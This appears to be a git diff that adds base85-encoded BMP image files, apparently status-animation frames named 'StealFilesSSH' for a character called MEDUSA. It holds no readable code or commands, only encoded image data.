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 VP%z&^`Mi@2|{(pP^0lxqM literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH2.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH2.bmp new file mode 100644 index 0000000000000000000000000000000000000000..c7b26b5b06e683e2312d59826244541d48104536 GIT binary patch literal 18462 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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH3.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH3.bmp new file mode 100644 index 0000000000000000000000000000000000000000..474c3150ad0364f8a6df95ea22514c07dd0718ce GIT binary patch literal 18462 zcmd^`1zcQ7y6ETruI=63x4Sd5laaU(A$SPEJ-AEbP6JKj4vnZ`^-o&B8_fCJxePCUH4+`lAFZf=gh6|P@Sa&z-=bMt*5XFtJ_n;TU7 zyM{p3FNv3rkDHH==Qs5BtFI{k-=u#GE15zeQ^<#u!|jvZ<>SrS!?p3lm7#;T{rgMZ zhf5s?i|zYB7FrJ$TJ{&3_vV4L?9EY+`}3`P3vK(0Z3l~;`%At1%YBEdLx<}VM_aE> z_TG|@wkhNzs&cCQ)^t%;^2y=R-s=AP)ZTpC)^x?jNbbg9>PCO!W`E4iK+Nu7^k!eg zYBzDcCt{;FVx1I8mENd#(i64*fvi!>Bi4I}Yh4j*J)p^{fReu0jsB#Kq4bThg01Q5 z-Gz?5^_io+bu#(*V$>I6J=~nzo-SV>OkVAc1SmU$v4>;H$5UwsV<~F`3DZqsV=n@h zdt#0z(|1OawuTbd`{OqU5;lPJpGsfC#^1_%U;Oq^((Z5)sIX3o+vtni=%*exK?eNn zjX52p$o0PH^`X@5ndgT)Z!UoQ<*el6gUzwLt$yOcSkl2{+S*XkNKJ5A9D?X(h|*VZ zlof?>b3*RZ!g#o%kcQ*6q4TYgd*dlPqe<%n2>^NnNZ+ZD;sN4XU;NHU^6qHLbWO-` zncrG({J~i228mi>{j|cnQ2~QQ9Ug!lwcZ`HF;#JaIsN6VU_f`aX2zRhp2au^*l5{H zJ~eyH>A=iO;1G=!R!o=HN|V(I5l{)_g6LjhP^Dwi- z34s8U?~kVpmie2C@pE3j$90oV`YuC7xYOQf3SiwGPTmW$5W{@_5QO>0S8mLdoyKV-U5H!Uz<1r0qX*or%k@lt_Mel1UmQ3~_mcXF18Wg9saitAa?bBf-l*X0wI zdiY3;hEbG;L4<}u>@K4`Bb(4o+I#;=qbn2SY+2z$7<|@nsH5s+qXB6vOH}64))z5D zncKY_AGmNl`fyynkacch9wV=wE^FYeY3d*jCrG*(&}(=}1|%Anr05s8@H)pD7o=NN zr@%@Rwe!Ov3F@5kL~VGftf?CVuQVNl#uG8wyWBGOxMc5vBe&!oPKnzbVz-{~UV8B4 zPc$rlc);QYi*lk8h8fNKxk7Q}tqxQKGJxE6xlF;X-b%a6n<5;L88!)<#o(0uKu)}d~# zG1$IXJSonl)ki4`uN<1BlHf>AXpQ!>La3Q951E3vS1U%LDB`a{uM^kTOe#BVc* z-C~fq!z4k&EOYO%DkG1?T~;;CcysGmV_h@dpdwd{FNJ*aVXrTi{}R^Y<6~PLO*1hm zS9vI2Hq;*y=cE`A3@eUD4M*ap%w-97s-dwyQ?Wi{F}_2ISdy1oBoSVaYVthzDM6i9 